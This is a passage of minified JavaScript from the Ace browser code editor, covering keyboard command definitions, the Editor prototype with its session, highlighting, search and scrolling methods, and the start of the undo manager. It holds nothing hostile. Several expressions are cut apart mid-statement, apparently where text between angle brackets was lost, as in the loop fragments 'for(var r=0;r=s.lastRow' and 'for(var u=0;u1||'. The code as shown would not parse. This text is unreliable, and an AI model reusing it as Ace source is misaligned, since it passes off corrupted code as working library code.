right",bindKey:r("Ctrl-Delete","Alt-Delete"),exec:function(e){e.removeWordRight()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"outdent",description:"Outdent",bindKey:r("Shift-Tab","Shift-Tab"),exec:function(e){e.blockOutdent()},multiSelectAction:"forEach",scrollIntoView:"selectionPart"},{name:"indent",description:"Indent",bindKey:r("Tab","Tab"),exec:function(e){e.indent()},multiSelectAction:"forEach",scrollIntoView:"selectionPart"},{name:"blockoutdent",description:"Block outdent",bindKey:r("Ctrl-[","Ctrl-["),exec:function(e){e.blockOutdent()},multiSelectAction:"forEachLine",scrollIntoView:"selectionPart"},{name:"blockindent",description:"Block indent",bindKey:r("Ctrl-]","Ctrl-]"),exec:function(e){e.blockIndent()},multiSelectAction:"forEachLine",scrollIntoView:"selectionPart"},{name:"insertstring",description:"Insert string",exec:function(e,t){e.insert(t)},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"inserttext",description:"Insert text",exec:function(e,t){e.insert(n.stringRepeat(t.text||"",t.times||1))},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"splitline",description:"Split line",bindKey:r(null,"Ctrl-O"),exec:function(e){e.splitLine()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"transposeletters",description:"Transpose letters",bindKey:r("Alt-Shift-X","Ctrl-T"),exec:function(e){e.transposeLetters()},multiSelectAction:function(e){e.transposeSelections(1)},scrollIntoView:"cursor"},{name:"touppercase",description:"To uppercase",bindKey:r("Ctrl-U","Ctrl-U"),exec:function(e){e.toUpperCase()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"tolowercase",description:"To lowercase",bindKey:r("Ctrl-Shift-U","Ctrl-Shift-U"),exec:function(e){e.toLowerCase()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"autoindent",description:"Auto Indent",bindKey:r(null,null),exec:function(e){e.autoIndent()},multiSelectAction:"forEachLine",scrollIntoView:"animate"},{name:"expandtoline",description:"Expand to line",bindKey:r("Ctrl-Shift-L","Command-Shift-L"),exec:function(e){var t=e.selection.getRange();t.start.column=t.end.column=0,t.end.row++,e.selection.setRange(t,!1)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"joinlines",description:"Join lines",bindKey:r(null,null),exec:function(e){for(var t=e.selection.isBackwards(),i=t?e.selection.getSelectionLead():e.selection.getSelectionAnchor(),s=t?e.selection.getSelectionAnchor():e.selection.getSelectionLead(),r=e.session.doc.getLine(i.row).length,a=e.session.doc.getTextRange(e.selection.getRange()).replace(/\n\s*/," ").length,l=e.session.doc.getLine(i.row),h=i.row+1;h<=s.row+1;h++){var c=n.stringTrimLeft(n.stringTrimRight(e.session.doc.getLine(h)));0!==c.length&&(c=" "+c),l+=c}s.row+10?(e.selection.moveCursorTo(i.row,i.column),e.selection.selectTo(i.row,i.column+a)):(r=e.session.doc.getLine(i.row).length>r?r+1:r,e.selection.moveCursorTo(i.row,r))},multiSelectAction:"forEach",readOnly:!0},{name:"invertSelection",description:"Invert selection",bindKey:r(null,null),exec:function(e){var t=e.session.doc.getLength()-1,i=e.session.doc.getLine(t).length,n=e.selection.rangeList.ranges,s=[];n.length<1&&(n=[e.selection.getRange()]);for(var r=0;r=s.lastRow||n.end.row<=s.firstRow)&&this.renderer.scrollSelectionIntoView(this.selection.anchor,this.selection.lead)}"animate"==i&&this.renderer.animateScrolling(this.curOp.scrollTop)}var o=this.selection.toJSON();this.curOp.selectionAfter=o,this.$lastSel=this.selection.toJSON(),this.session.getUndoManager().addSelection(o),this.prevOp=this.curOp,this.curOp=null}},this.$mergeableCommands=["backspace","del","insertstring"],this.$historyTracker=function(e){if(this.$mergeUndoDeltas){var t=this.prevOp,i=this.$mergeableCommands,n=t.command&&e.command.name==t.command.name;if("insertstring"==e.command.name){var s=e.args;void 0===this.mergeNextCommand&&(this.mergeNextCommand=!0),n=n&&this.mergeNextCommand&&(!/\s/.test(s)||/\s/.test(t.args)),this.mergeNextCommand=!0}else n=n&&-1!==i.indexOf(e.command.name);"always"!=this.$mergeUndoDeltas&&Date.now()-this.sequenceStartTime>2e3&&(n=!1),n?this.session.mergeUndoDeltas=!0:-1!==i.indexOf(e.command.name)&&(this.sequenceStartTime=Date.now())}},this.setKeyboardHandler=function(e,t){if(e&&"string"==typeof e&&"ace"!=e){this.$keybindingId=e;var i=this;v.loadModule(["keybinding",e],(function(n){i.$keybindingId==e&&i.keyBinding.setKeyboardHandler(n&&n.handler),t&&t()}))}else this.$keybindingId=null,this.keyBinding.setKeyboardHandler(e),t&&t()},this.getKeyboardHandler=function(){return this.keyBinding.getKeyboardHandler()},this.setSession=function(e){if(this.session!=e){this.curOp&&this.endOperation(),this.curOp={};var t=this.session;if(t){this.session.off("change",this.$onDocumentChange),this.session.off("changeMode",this.$onChangeMode),this.session.off("tokenizerUpdate",this.$onTokenizerUpdate),this.session.off("changeTabSize",this.$onChangeTabSize),this.session.off("changeWrapLimit",this.$onChangeWrapLimit),this.session.off("changeWrapMode",this.$onChangeWrapMode),this.session.off("changeFold",this.$onChangeFold),this.session.off("changeFrontMarker",this.$onChangeFrontMarker),this.session.off("changeBackMarker",this.$onChangeBackMarker),this.session.off("changeBreakpoint",this.$onChangeBreakpoint),this.session.off("changeAnnotation",this.$onChangeAnnotation),this.session.off("changeOverwrite",this.$onCursorChange),this.session.off("changeScrollTop",this.$onScrollTopChange),this.session.off("changeScrollLeft",this.$onScrollLeftChange);var i=this.session.getSelection();i.off("changeCursor",this.$onCursorChange),i.off("changeSelection",this.$onSelectionChange)}this.session=e,e?(this.$onDocumentChange=this.onDocumentChange.bind(this),e.on("change",this.$onDocumentChange),this.renderer.setSession(e),this.$onChangeMode=this.onChangeMode.bind(this),e.on("changeMode",this.$onChangeMode),this.$onTokenizerUpdate=this.onTokenizerUpdate.bind(this),e.on("tokenizerUpdate",this.$onTokenizerUpdate),this.$onChangeTabSize=this.renderer.onChangeTabSize.bind(this.renderer),e.on("changeTabSize",this.$onChangeTabSize),this.$onChangeWrapLimit=this.onChangeWrapLimit.bind(this),e.on("changeWrapLimit",this.$onChangeWrapLimit),this.$onChangeWrapMode=this.onChangeWrapMode.bind(this),e.on("changeWrapMode",this.$onChangeWrapMode),this.$onChangeFold=this.onChangeFold.bind(this),e.on("changeFold",this.$onChangeFold),this.$onChangeFrontMarker=this.onChangeFrontMarker.bind(this),this.session.on("changeFrontMarker",this.$onChangeFrontMarker),this.$onChangeBackMarker=this.onChangeBackMarker.bind(this),this.session.on("changeBackMarker",this.$onChangeBackMarker),this.$onChangeBreakpoint=this.onChangeBreakpoint.bind(this),this.session.on("changeBreakpoint",this.$onChangeBreakpoint),this.$onChangeAnnotation=this.onChangeAnnotation.bind(this),this.session.on("changeAnnotation",this.$onChangeAnnotation),this.$onCursorChange=this.onCursorChange.bind(this),this.session.on("changeOverwrite",this.$onCursorChange),this.$onScrollTopChange=this.onScrollTopChange.bind(this),this.session.on("changeScrollTop",this.$onScrollTopChange),this.$onScrollLeftChange=this.onScrollLeftChange.bind(this),this.session.on("changeScrollLeft",this.$onScrollLeftChange),this.selection=e.getSelection(),this.selection.on("changeCursor",this.$onCursorChange),this.$onSelectionChange=this.onSelectionChange.bind(this),this.selection.on("changeSelection",this.$onSelectionChange),this.onChangeMode(),this.onCursorChange(),this.onScrollTopChange(),this.onScrollLeftChange(),this.onSelectionChange(),this.onChangeFrontMarker(),this.onChangeBackMarker(),this.onChangeBreakpoint(),this.onChangeAnnotation(),this.session.getUseWrapMode()&&this.renderer.adjustWrapLimit(),this.renderer.updateFull()):(this.selection=null,this.renderer.setSession(e)),this._signal("changeSession",{session:e,oldSession:t}),this.curOp=null,t&&t._signal("changeEditor",{oldEditor:this}),e&&e._signal("changeEditor",{editor:this}),e&&!e.destroyed&&e.bgTokenizer.scheduleStart()}},this.getSession=function(){return this.session},this.setValue=function(e,t){return this.session.doc.setValue(e),t?1==t?this.navigateFileEnd():-1==t&&this.navigateFileStart():this.selectAll(),e},this.getValue=function(){return this.session.getValue()},this.getSelection=function(){return this.selection},this.resize=function(e){this.renderer.onResize(e)},this.setTheme=function(e,t){this.renderer.setTheme(e,t)},this.getTheme=function(){return this.renderer.getTheme()},this.setStyle=function(e){this.renderer.setStyle(e)},this.unsetStyle=function(e){this.renderer.unsetStyle(e)},this.getFontSize=function(){return this.getOption("fontSize")||s.computedStyle(this.container).fontSize},this.setFontSize=function(e){this.setOption("fontSize",e)},this.$highlightBrackets=function(){if(!this.$highlightPending){var e=this;this.$highlightPending=!0,setTimeout((function(){e.$highlightPending=!1;var t=e.session;if(t&&!t.destroyed){t.$bracketHighlight&&(t.$bracketHighlight.markerIds.forEach((function(e){t.removeMarker(e)})),t.$bracketHighlight=null);var i=t.getMatchingBracketRanges(e.getCursorPosition());if(!i&&t.$mode.getMatching&&(i=t.$mode.getMatching(e.session)),i){var n="ace_bracket";Array.isArray(i)?1==i.length&&(n="ace_error_bracket"):i=[i],2==i.length&&(0==g.comparePoints(i[0].end,i[1].start)?i=[g.fromPoints(i[0].start,i[1].end)]:0==g.comparePoints(i[0].start,i[1].end)&&(i=[g.fromPoints(i[1].start,i[0].end)])),t.$bracketHighlight={ranges:i,markerIds:i.map((function(e){return t.addMarker(e,n,"text")}))}}}}),50)}},this.$highlightTags=function(){if(!this.$highlightTagPending){var e=this;this.$highlightTagPending=!0,setTimeout((function(){e.$highlightTagPending=!1;var t=e.session;if(t&&!t.destroyed){var i=e.getCursorPosition(),n=new w(e.session,i.row,i.column),s=n.getCurrentToken();if(!s||!/\b(?:tag-open|tag-name)/.test(s.type))return t.removeMarker(t.$tagHighlight),void(t.$tagHighlight=null);if(-1===s.type.indexOf("tag-open")||(s=n.stepForward())){var o=s.value,r=s.value,a=0,l=n.stepBackward();if("<"===l.value)do{l=s,(s=n.stepForward())&&(-1!==s.type.indexOf("tag-name")?o===(r=s.value)&&("<"===l.value?a++:""===s.value&&a--)}while(s&&a>=0);else{do{if(s=l,l=n.stepBackward(),s)if(-1!==s.type.indexOf("tag-name"))o===s.value&&("<"===l.value?a++:""===s.value){for(var h=0,c=l;c;){if(-1!==c.type.indexOf("tag-name")&&c.value===o){a--;break}if("<"===c.value)break;c=n.stepBackward(),h++}for(var u=0;u1||(e=!1)),t.$highlightLineMarker&&!e)t.removeMarker(t.$highlightLineMarker.id),t.$highlightLineMarker=null;else if(!t.$highlightLineMarker&&e){var i=new g(e.row,e.column,e.row,1/0);i.id=t.addMarker(i,"ace_active-line","screenLine"),t.$highlightLineMarker=i}else e&&(t.$highlightLineMarker.start.row=e.row,t.$highlightLineMarker.end.row=e.row,t.$highlightLineMarker.start.column=e.column,t._signal("changeBackMarker"))},this.onSelectionChange=function(e){var t=this.session;if(t.$selectionMarker&&t.removeMarker(t.$selectionMarker),t.$selectionMarker=null,this.selection.isEmpty())this.$updateHighlightActiveLine();else{var i=this.selection.getRange(),n=this.getSelectionStyle();t.$selectionMarker=t.addMarker(i,"ace_selection",n)}var s=this.$highlightSelectedWord&&this.$getSelectionHighLightRegexp();this.session.highlight(s),this._signal("changeSelection")},this.$getSelectionHighLightRegexp=function(){var e=this.session,t=this.getSelectionRange();if(!t.isEmpty()&&!t.isMultiLine()){var i=t.start.column,n=t.end.column,s=e.getLine(t.start.row),o=s.substring(i,n);if(!(o.length>5e3)&&/[\w\d]/.test(o)){var r=this.$search.$assembleRegExp({wholeWord:!0,caseSensitive:!0,needle:o}),a=s.substring(i-1,n+1);if(r.test(a))return r}}},this.onChangeFrontMarker=function(){this.renderer.updateFrontMarkers()},this.onChangeBackMarker=function(){this.renderer.updateBackMarkers()},this.onChangeBreakpoint=function(){this.renderer.updateBreakpoints()},this.onChangeAnnotation=function(){this.renderer.setAnnotations(this.session.getAnnotations())},this.onChangeMode=function(e){this.renderer.updateText(),this._emit("changeMode",e)},this.onChangeWrapLimit=function(){this.renderer.updateFull()},this.onChangeWrapMode=function(){this.renderer.onResize(!0)},this.onChangeFold=function(){this.$updateHighlightActiveLine(),this.renderer.updateFull()},this.getSelectedText=function(){return this.session.getTextRange(this.getSelectionRange())},this.getCopyText=function(){var e=this.getSelectedText(),t=this.session.doc.getNewLineCharacter(),i=!1;if(!e&&this.$copyWithEmptySelection){i=!0;for(var n=this.selection.getAllRanges(),s=0;sa.search(/\S|$/)){var l=a.substr(s.column).search(/\S|$/);i.doc.removeInLine(s.row,s.column,s.column+l)}}this.clearSelection();var h=s.column,c=i.getState(s.row),u=(a=i.getLine(s.row),n.checkOutdent(c,a,e));if(i.insert(s,e),o&&o.selection&&(2==o.selection.length?this.selection.setSelectionRange(new g(s.row,h+o.selection[0],s.row,h+o.selection[1])):this.selection.setSelectionRange(new g(s.row+o.selection[0],o.selection[1],s.row+o.selection[2],o.selection[3]))),this.$enableAutoIndent){if(i.getDocument().isNewLine(e)){var d=n.getNextLineIndent(c,a.slice(0,s.column),i.getTabString());i.insert({row:s.row+1,column:0},d)}u&&n.autoOutdent(c,i,s.row)}},this.autoIndent=function(){var e,t,i=this.session,n=i.getMode();if(this.selection.isEmpty())e=0,t=i.doc.getLength()-1;else{var s=this.getSelectionRange();e=s.start.row,t=s.end.row}for(var o,r,a,l="",h="",c="",u=i.getTabString(),d=e;d<=t;d++)d>0&&(l=i.getState(d-1),h=i.getLine(d-1),c=n.getNextLineIndent(l,h,u)),o=i.getLine(d),c!==(r=n.$getIndent(o))&&(r.length>0&&(a=new g(d,0,d,r.length),i.remove(a)),c.length>0&&i.insert({row:d,column:0},c)),n.autoOutdent(l,i,d)},this.onTextInput=function(e,t){if(!t)return this.keyBinding.onTextInput(e);this.startOperation({command:{name:"insertstring"}});var i=this.applyComposition.bind(this,e,t);this.selection.rangeCount?this.forEachSelection(i):i(),this.endOperation()},this.applyComposition=function(e,t){var i;(t.extendLeft||t.extendRight)&&((i=this.selection.getRange()).start.column-=t.extendLeft,i.end.column+=t.extendRight,i.start.column<0&&(i.start.row--,i.start.column+=this.session.getLine(i.start.row).length+1),this.selection.setRange(i),e||i.isEmpty()||this.remove());(!e&&this.selection.isEmpty()||this.insert(e,!0),t.restoreStart||t.restoreEnd)&&((i=this.selection.getRange()).start.column-=t.restoreStart,i.end.column-=t.restoreEnd,this.selection.setRange(i))},this.onCommandKey=function(e,t,i){return this.keyBinding.onCommandKey(e,t,i)},this.setOverwrite=function(e){this.session.setOverwrite(e)},this.getOverwrite=function(){return this.session.getOverwrite()},this.toggleOverwrite=function(){this.session.toggleOverwrite()},this.setScrollSpeed=function(e){this.setOption("scrollSpeed",e)},this.getScrollSpeed=function(){return this.getOption("scrollSpeed")},this.setDragDelay=function(e){this.setOption("dragDelay",e)},this.getDragDelay=function(){return this.getOption("dragDelay")},this.setSelectionStyle=function(e){this.setOption("selectionStyle",e)},this.getSelectionStyle=function(){return this.getOption("selectionStyle")},this.setHighlightActiveLine=function(e){this.setOption("highlightActiveLine",e)},this.getHighlightActiveLine=function(){return this.getOption("highlightActiveLine")},this.setHighlightGutterLine=function(e){this.setOption("highlightGutterLine",e)},this.getHighlightGutterLine=function(){return this.getOption("highlightGutterLine")},this.setHighlightSelectedWord=function(e){this.setOption("highlightSelectedWord",e)},this.getHighlightSelectedWord=function(){return this.$highlightSelectedWord},this.setAnimatedScroll=function(e){this.renderer.setAnimatedScroll(e)},this.getAnimatedScroll=function(){return this.renderer.getAnimatedScroll()},this.setShowInvisibles=function(e){this.renderer.setShowInvisibles(e)},this.getShowInvisibles=function(){return this.renderer.getShowInvisibles()},this.setDisplayIndentGuides=function(e){this.renderer.setDisplayIndentGuides(e)},this.getDisplayIndentGuides=function(){return this.renderer.getDisplayIndentGuides()},this.setShowPrintMargin=function(e){this.renderer.setShowPrintMargin(e)},this.getShowPrintMargin=function(){return this.renderer.getShowPrintMargin()},this.setPrintMarginColumn=function(e){this.renderer.setPrintMarginColumn(e)},this.getPrintMarginColumn=function(){return this.renderer.getPrintMarginColumn()},this.setReadOnly=function(e){this.setOption("readOnly",e)},this.getReadOnly=function(){return this.getOption("readOnly")},this.setBehavioursEnabled=function(e){this.setOption("behavioursEnabled",e)},this.getBehavioursEnabled=function(){return this.getOption("behavioursEnabled")},this.setWrapBehavioursEnabled=function(e){this.setOption("wrapBehavioursEnabled",e)},this.getWrapBehavioursEnabled=function(){return this.getOption("wrapBehavioursEnabled")},this.setShowFoldWidgets=function(e){this.setOption("showFoldWidgets",e)},this.getShowFoldWidgets=function(){return this.getOption("showFoldWidgets")},this.setFadeFoldWidgets=function(e){this.setOption("fadeFoldWidgets",e)},this.getFadeFoldWidgets=function(){return this.getOption("fadeFoldWidgets")},this.remove=function(e){this.selection.isEmpty()&&("left"==e?this.selection.selectLeft():this.selection.selectRight());var t=this.getSelectionRange();if(this.getBehavioursEnabled()){var i=this.session,n=i.getState(t.start.row),s=i.getMode().transformAction(n,"deletion",this,i,t);if(0===t.end.column){var o=i.getTextRange(t);if("\n"==o[o.length-1]){var r=i.getLine(t.end.row);/^\s+$/.test(r)&&(t.end.column=r.length)}}s&&(t=s)}this.session.remove(t),this.clearSelection()},this.removeWordRight=function(){this.selection.isEmpty()&&this.selection.selectWordRight(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeWordLeft=function(){this.selection.isEmpty()&&this.selection.selectWordLeft(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeToLineStart=function(){this.selection.isEmpty()&&this.selection.selectLineStart(),this.selection.isEmpty()&&this.selection.selectLeft(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeToLineEnd=function(){this.selection.isEmpty()&&this.selection.selectLineEnd();var e=this.getSelectionRange();e.start.column==e.end.column&&e.start.row==e.end.row&&(e.end.column=0,e.end.row++),this.session.remove(e),this.clearSelection()},this.splitLine=function(){this.selection.isEmpty()||(this.session.remove(this.getSelectionRange()),this.clearSelection());var e=this.getCursorPosition();this.insert("\n"),this.moveCursorToPosition(e)},this.transposeLetters=function(){if(this.selection.isEmpty()){var e=this.getCursorPosition(),t=e.column;if(0!==t){var i,n,s=this.session.getLine(e.row);tt.toLowerCase()?1:0}));var s=new g(0,0,0,0);for(n=e.first;n<=e.last;n++){var o=t.getLine(n);s.start.row=n,s.end.row=n,s.end.column=o.length,t.replace(s,i[n-e.first])}},this.toggleCommentLines=function(){var e=this.session.getState(this.getCursorPosition().row),t=this.$getSelectedRows();this.session.getMode().toggleCommentLines(e,this.session,t.first,t.last)},this.toggleBlockComment=function(){var e=this.getCursorPosition(),t=this.session.getState(e.row),i=this.getSelectionRange();this.session.getMode().toggleBlockComment(t,this.session,i,e)},this.getNumberAt=function(e,t){var i=/[\-]?[0-9]+(?:\.[0-9]+)?/g;i.lastIndex=0;for(var n=this.session.getLine(e);i.lastIndex=t)return{value:s[0],start:s.index,end:s.index+s[0].length}}return null},this.modifyNumber=function(e){var t=this.selection.getCursor().row,i=this.selection.getCursor().column,n=new g(t,i-1,t,i),s=this.session.getTextRange(n);if(!isNaN(parseFloat(s))&&isFinite(s)){var o=this.getNumberAt(t,i);if(o){var r=o.value.indexOf(".")>=0?o.start+o.value.indexOf(".")+1:o.end,a=o.start+o.value.length-r,l=parseFloat(o.value);l*=Math.pow(10,a),r!==o.end&&i=a&&r<=l&&(i=t,h.selection.clearSelection(),h.moveCursorTo(e,a+n),h.selection.selectTo(e,l+n)),a=l}));for(var c,u=this.$toggleWordPairs,d=0;dg+1)break;g=f.last}for(c--,a=this.session.$moveLines(d,g,t?0:e),t&&-1==e&&(u=c+1);u<=c;)r[u].moveBy(a,0),u++;t||(a=0),l+=a}s.fromOrientedRange(s.ranges[0]),s.rangeList.attach(this.session),this.inVirtualSelectionMode=!1}},this.$getSelectedRows=function(e){return e=(e||this.getSelectionRange()).collapseRows(),{first:this.session.getRowFoldStart(e.start.row),last:this.session.getRowFoldEnd(e.end.row)}},this.onCompositionStart=function(e){this.renderer.showComposition(e)},this.onCompositionUpdate=function(e){this.renderer.setCompositionText(e)},this.onCompositionEnd=function(){this.renderer.hideComposition()},this.getFirstVisibleRow=function(){return this.renderer.getFirstVisibleRow()},this.getLastVisibleRow=function(){return this.renderer.getLastVisibleRow()},this.isRowVisible=function(e){return e>=this.getFirstVisibleRow()&&e<=this.getLastVisibleRow()},this.isRowFullyVisible=function(e){return e>=this.renderer.getFirstFullyVisibleRow()&&e<=this.renderer.getLastFullyVisibleRow()},this.$getVisibleRowCount=function(){return this.renderer.getScrollBottomRow()-this.renderer.getScrollTopRow()+1},this.$moveByPage=function(e,t){var i=this.renderer,n=this.renderer.layerConfig,s=e*Math.floor(n.height/n.lineHeight);!0===t?this.selection.$moveSelection((function(){this.moveCursorBy(s,0)})):!1===t&&(this.selection.moveCursorBy(s,0),this.selection.clearSelection());var o=i.scrollTop;i.scrollBy(0,s*n.lineHeight),null!=t&&i.scrollCursorIntoView(null,.5),i.animateScrolling(o)},this.selectPageDown=function(){this.$moveByPage(1,!0)},this.selectPageUp=function(){this.$moveByPage(-1,!0)},this.gotoPageDown=function(){this.$moveByPage(1,!1)},this.gotoPageUp=function(){this.$moveByPage(-1,!1)},this.scrollPageDown=function(){this.$moveByPage(1)},this.scrollPageUp=function(){this.$moveByPage(-1)},this.scrollToRow=function(e){this.renderer.scrollToRow(e)},this.scrollToLine=function(e,t,i,n){this.renderer.scrollToLine(e,t,i,n)},this.centerSelection=function(){var e=this.getSelectionRange(),t={row:Math.floor(e.start.row+(e.end.row-e.start.row)/2),column:Math.floor(e.start.column+(e.end.column-e.start.column)/2)};this.renderer.alignCursor(t,.5)},this.getCursorPosition=function(){return this.selection.getCursor()},this.getCursorPositionScreen=function(){return this.session.documentToScreenPosition(this.getCursorPosition())},this.getSelectionRange=function(){return this.selection.getRange()},this.selectAll=function(){this.selection.selectAll()},this.clearSelection=function(){this.selection.clearSelection()},this.moveCursorTo=function(e,t){this.selection.moveCursorTo(e,t)},this.moveCursorToPosition=function(e){this.selection.moveCursorToPosition(e)},this.jumpToMatching=function(e,t){var i=this.getCursorPosition(),n=new w(this.session,i.row,i.column),s=n.getCurrentToken(),o=s||n.stepForward();if(o){var r,a,l=!1,h={},c=i.column-o.start,u={")":"(","(":"(","]":"[","[":"[","{":"{","}":"{"};do{if(o.value.match(/[{}()\[\]]/g)){for(;c=0;--o)this.$tryReplace(i[o],e)&&n++;return this.selection.setSelectionRange(s),n},this.$tryReplace=function(e,t){var i=this.session.getTextRange(e);return null!==(t=this.$search.replace(i,t))?(e.end=this.session.replace(e,t),e):null},this.getLastSearchOptions=function(){return this.$search.getOptions()},this.find=function(e,t,i){t||(t={}),"string"==typeof e||e instanceof RegExp?t.needle=e:"object"==typeof e&&n.mixin(t,e);var s=this.selection.getRange();null==t.needle&&((e=this.session.getTextRange(s)||this.$search.$options.needle)||(s=this.session.getWordRange(s.start.row,s.start.column),e=this.session.getTextRange(s)),this.$search.set({needle:e})),this.$search.set(t),t.start||this.$search.set({start:s});var o=this.$search.find(this.session);return t.preventScroll?o:o?(this.revealRange(o,i),o):(t.backwards?s.start=s.end:s.end=s.start,void this.selection.setRange(s))},this.findNext=function(e,t){this.find({skipCurrent:!0,backwards:!1},e,t)},this.findPrevious=function(e,t){this.find(e,{skipCurrent:!0,backwards:!0},t)},this.revealRange=function(e,t){this.session.unfold(e),this.selection.setSelectionRange(e);var i=this.renderer.scrollTop;this.renderer.scrollSelectionIntoView(e.start,e.end,.5),!1!==t&&this.renderer.animateScrolling(i)},this.undo=function(){this.session.getUndoManager().undo(this.session),this.renderer.scrollCursorIntoView(null,.5)},this.redo=function(){this.session.getUndoManager().redo(this.session),this.renderer.scrollCursorIntoView(null,.5)},this.destroy=function(){this.$toDestroy&&(this.$toDestroy.forEach((function(e){e.destroy()})),this.$toDestroy=null),this.$mouseHandler&&this.$mouseHandler.destroy(),this.renderer.destroy(),this._signal("destroy",this),this.session&&this.session.destroy(),this._$emitInputEvent&&this._$emitInputEvent.cancel(),this.removeAllListeners()},this.setAutoScrollEditorIntoView=function(e){if(e){var t,i=this,n=!1;this.$scrollAnchor||(this.$scrollAnchor=document.createElement("div"));var s=this.$scrollAnchor;s.style.cssText="position:absolute",this.container.insertBefore(s,this.container.firstChild);var o=this.on("changeSelection",(function(){n=!0})),r=this.renderer.on("beforeRender",(function(){n&&(t=i.renderer.container.getBoundingClientRect())})),a=this.renderer.on("afterRender",(function(){if(n&&t&&(i.isFocused()||i.searchBox&&i.searchBox.isFocused())){var e=i.renderer,o=e.$cursorLayer.$pixelPos,r=e.layerConfig,a=o.top-r.offset;null!=(n=o.top>=0&&a+t.top<0||!(o.topwindow.innerHeight)&&null)&&(s.style.top=a+"px",s.style.left=o.left+"px",s.style.height=r.lineHeight+"px",s.scrollIntoView(n)),n=t=null}}));this.setAutoScrollEditorIntoView=function(e){e||(delete this.setAutoScrollEditorIntoView,this.off("changeSelection",o),this.renderer.off("afterRender",a),this.renderer.off("beforeRender",r))}}},this.$resetCursorStyle=function(){var e=this.$cursorStyle||"ace",t=this.renderer.$cursorLayer;t&&(t.setSmoothBlinking(/smooth/.test(e)),t.isBlinking=!this.$readOnly&&"wide"!=e,s.setCssClass(t.element,"ace_slim-cursors",/slim/.test(e)))},this.prompt=function(e,t,i){var n=this;v.loadModule("./ext/prompt",(function(s){s.prompt(n,e,t,i)}))}}.call(b.prototype),v.defineOptions(b.prototype,"editor",{selectionStyle:{set:function(e){this.onSelectionChange(),this._signal("changeSelectionStyle",{data:e})},initialValue:"line"},highlightActiveLine:{set:function(){this.$updateHighlightActiveLine()},initialValue:!0},highlightSelectedWord:{set:function(e){this.$onSelectionChange()},initialValue:!0},readOnly:{set:function(e){this.textInput.setReadOnly(e),this.$resetCursorStyle()},initialValue:!1},copyWithEmptySelection:{set:function(e){this.textInput.setCopyWithEmptySelection(e)},initialValue:!1},cursorStyle:{set:function(e){this.$resetCursorStyle()},values:["ace","slim","smooth","wide"],initialValue:"ace"},mergeUndoDeltas:{values:[!1,!0,"always"],initialValue:!0},behavioursEnabled:{initialValue:!0},wrapBehavioursEnabled:{initialValue:!0},enableAutoIndent:{initialValue:!0},autoScrollEditorIntoView:{set:function(e){this.setAutoScrollEditorIntoView(e)}},keyboardHandler:{set:function(e){this.setKeyboardHandler(e)},get:function(){return this.$keybindingId},handlesSet:!0},value:{set:function(e){this.session.setValue(e)},get:function(){return this.getValue()},handlesSet:!0,hidden:!0},session:{set:function(e){this.setSession(e)},get:function(){return this.session},handlesSet:!0,hidden:!0},showLineNumbers:{set:function(e){this.renderer.$gutterLayer.setShowLineNumbers(e),this.renderer.$loop.schedule(this.renderer.CHANGE_GUTTER),e&&this.$relativeLineNumbers?y.attach(this):y.detach(this)},initialValue:!0},relativeLineNumbers:{set:function(e){this.$showLineNumbers&&e?y.attach(this):y.detach(this)}},placeholder:{set:function(e){this.$updatePlaceholder||(this.$updatePlaceholder=function(){var e=this.session&&(this.renderer.$composition||this.getValue());if(e&&this.renderer.placeholderNode)this.renderer.off("afterRender",this.$updatePlaceholder),s.removeCssClass(this.container,"ace_hasPlaceholder"),this.renderer.placeholderNode.remove(),this.renderer.placeholderNode=null;else if(e||this.renderer.placeholderNode)!e&&this.renderer.placeholderNode&&(this.renderer.placeholderNode.textContent=this.$placeholder||"");else{this.renderer.on("afterRender",this.$updatePlaceholder),s.addCssClass(this.container,"ace_hasPlaceholder");var t=s.createElement("div");t.className="ace_placeholder",t.textContent=this.$placeholder||"",this.renderer.placeholderNode=t,this.renderer.content.appendChild(this.renderer.placeholderNode)}}.bind(this),this.on("input",this.$updatePlaceholder)),this.$updatePlaceholder()}},hScrollBarAlwaysVisible:"renderer",vScrollBarAlwaysVisible:"renderer",highlightGutterLine:"renderer",animatedScroll:"renderer",showInvisibles:"renderer",showPrintMargin:"renderer",printMarginColumn:"renderer",printMargin:"renderer",fadeFoldWidgets:"renderer",showFoldWidgets:"renderer",displayIndentGuides:"renderer",showGutter:"renderer",fontSize:"renderer",fontFamily:"renderer",maxLines:"renderer",minLines:"renderer",scrollPastEnd:"renderer",fixedWidthGutter:"renderer",theme:"renderer",hasCssTransforms:"renderer",maxPixelHeight:"renderer",useTextareaForIME:"renderer",scrollSpeed:"$mouseHandler",dragDelay:"$mouseHandler",dragEnabled:"$mouseHandler",focusTimeout:"$mouseHandler",tooltipFollowsMouse:"$mouseHandler",firstLineNumber:"session",overwrite:"session",newLineMode:"session",useWorker:"session",useSoftTabs:"session",navigateWithinSoftTabs:"session",tabSize:"session",wrap:"session",indentedSoftWrap:"session",foldStyle:"session",mode:"session"});var y={getText:function(e,t){return(Math.abs(e.selection.lead.row-t)||t+1+(t<9?"·":""))+""},getWidth:function(e,t,i){return Math.max(t.toString().length,(i.lastRow+1).toString().length,2)*i.characterWidth},update:function(e,t){t.renderer.$loop.schedule(t.renderer.CHANGE_GUTTER)},attach:function(e){e.renderer.$gutterLayer.$renderer=this,e.on("changeSelection",this.update),this.update(null,e)},detach:function(e){e.renderer.$gutterLayer.$renderer==this&&(e.renderer.$gutterLayer.$renderer=null),e.off("changeSelection",this.update),this.update(null,e)}};t.Editor=b})),define("ace/undomanager",["require","exports","module","ace/range"],(function(e,t,i){"use strict";var n=function(){this.$maxRev=0,this.$fromUndo=!1,this.reset()};(function(){this.addSession=function(e){this.$session=e},this.add=function(e,t,i){this.$fromUndo||e!=this.$lastDelta&&(this.$keepRedoStack||(this.$redoStack.length=0),!1!==t&&this.lastDeltas||(this.lastDeltas=[],this.$undoStack.push(this.lastDeltas),e.id=this.$rev=++this.$maxRev),"remove"!=e.action&&"insert"!=e.action||(this.$lastDelta=e),this.lastDeltas.push(e))},this.addSelection=function(e,t){this.selections.push({value:e,rev:t||this.$rev})},this.startNewGroup=function(){return 